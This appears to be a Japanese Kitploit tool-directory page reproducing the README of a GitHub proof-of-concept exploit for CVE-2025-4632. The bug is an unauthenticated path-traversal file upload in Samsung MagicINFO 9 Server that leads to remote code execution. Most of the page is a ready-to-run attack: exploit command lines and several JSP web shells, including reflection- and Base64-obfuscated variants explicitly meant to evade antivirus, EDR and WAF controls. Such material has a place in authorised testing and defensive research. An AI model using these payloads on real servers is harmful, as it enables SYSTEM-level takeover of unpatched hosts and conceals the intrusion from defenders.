Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4632_POC — このリポジトリには、CVE-2025-4632(Samsung MagicINFO 9 Serverのバージョン21.1052未満における未認証のリモートコード実行(RCE)の脆弱性)のPython再現スクリプトが含まれています。 | Kitploit
ツール/GitHubGitHub/digitalsurgn/cve-2025-4632_poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングペイロード開発
GitHubdigitalsurgn/cve-2025-4632_poc

CVE-2025-4632_POC

このリポジトリには、CVE-2025-4632(Samsung MagicINFO 9 Serverのバージョン21.1052未満における未認証のリモートコード実行(RCE)の脆弱性)のPython再現スクリプトが含まれています。

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Samsung MagicINFO 9 Server エクスプロイト (CVE-2025-4632)

このリポジトリには、CVE-2025-4632 の Python 再現スクリプトが含まれています。これは Samsung MagicINFO 9 Server (バージョン 21.1052 未満) における未認証のリモートコード実行 (RCE) 脆弱性です。

この脆弱性は、SWUpdateFileUploader サーブレットにおけるパス名の不適切な制限に起因します。パストラバーサル (../../) を利用することで、認証されていない攻撃者が SYSTEM 権限で任意のファイルを書き込み、サーバーを完全に侵害する可能性があります。

クレジットと謝辞

  • 初発見およびテンプレート作成者: s4e-io (ProjectDiscovery Nuclei コミュニティの http/cves/2025/CVE-2025-4632.yaml より)
  • 方法論: 本スクリプトは、CVE-2025-4632 Nuclei テンプレートで定義されたロジックを直接プログラムで実装したものです。

仕組み

このスクリプトは、正当なデバイス更新リクエストを生成するプロセスを自動化します。fileName パラメータにディレクトリトラバーサルシーケンスを注入することで、意図されたアップロードディレクトリから脱出し、ファイルを Web ルート () に直接書き込むように悪用します。

/MagicInfo/

このスクリプトは2つのステップを実行します:

  1. POST リクエスト: ペイロードをトラバーサルパスとともに /MagicInfo/servlet/SWUpdateFileUploader に送信します。
  2. GET リクエスト (確認): 自動的に /MagicInfo/<filename> でアップロードされたファイルにアクセスし、悪用が成功したことを確認します。

使用方法

root@kitploit:~
python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>

引数:

  • -t / --target: ターゲットのベース URL (例: http://192.168.1.100:7001)。
  • -f / --filename: 作成するファイルの名前 (例: shell.jsp)。
  • -d / --data: ファイルに書き込む raw コンテンツ。

ペネトレーションテスト用ペイロード例

以下のペイロードは評価活動中に正常にテストされました。これらはエンドポイントセキュリティコントロールを回避しつつ、影響を証明するように設計されています。

1. 良性の概念実証 (影響確認)

アンチウイルスや EDR をトリガーせずに JSP の実行を安全に確認するために使用します。

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'

アクセス: http://<target>:7001/MagicInfo/poc.jsp

2. 標準的なコマンド実行シェル

標準的な JSP Web シェルです。注意: これは最新の AV/EDR ソリューションに検出され隔離される可能性があり、確認時に 404 Not Found となる場合があります。

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'

アクセス: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami

3. 難読化されたコマンド実行 (EDR/AV バイパス)

標準シェルがブロックされた場合に使用します。このペイロードは Java リフレクションを使用して Runtime.getRuntime().exec のシグネチャを静的解析から隠します。

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'

アクセス: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all

4. 高度な Base64 難読化シェル (WAF および URL パースバイパス)

複雑なコマンドには強く推奨: スペース、バックスラッシュ、特殊文字 (例: dir c:\) を含むコマンドを実行しようとして 400 Bad Request エラーが発生する場合、サーバーの厳格な URI 検証または WAF がリクエストをブロックしています。

この高度なペイロードは、コマンドが URL 内で Base64 エンコード されていることを期待します。サーバー側でデコードしてから実行するため、URL フィルタリングを完全にバイパスし、ネットワークモニターからコマンドを隠蔽します。

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'

使用例: コマンドをローカルで Base64 エンコードし (例: echo -n "dir c:\" | base64)、それを c パラメータに渡します。

  • whoami -> d2hvYW1p
    • アクセス: http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1p
  • tasklist /svc -> dGFza2xpc3QgL3N2Yw==
    • アクセス: http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==
  • dir c:\ -> ZGlyIGM6XA==
    • アクセス: http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==

免責事項: このスクリプトは教育目的および許可されたペネトレーションテストのみを目的としています。

ツールをダウンロード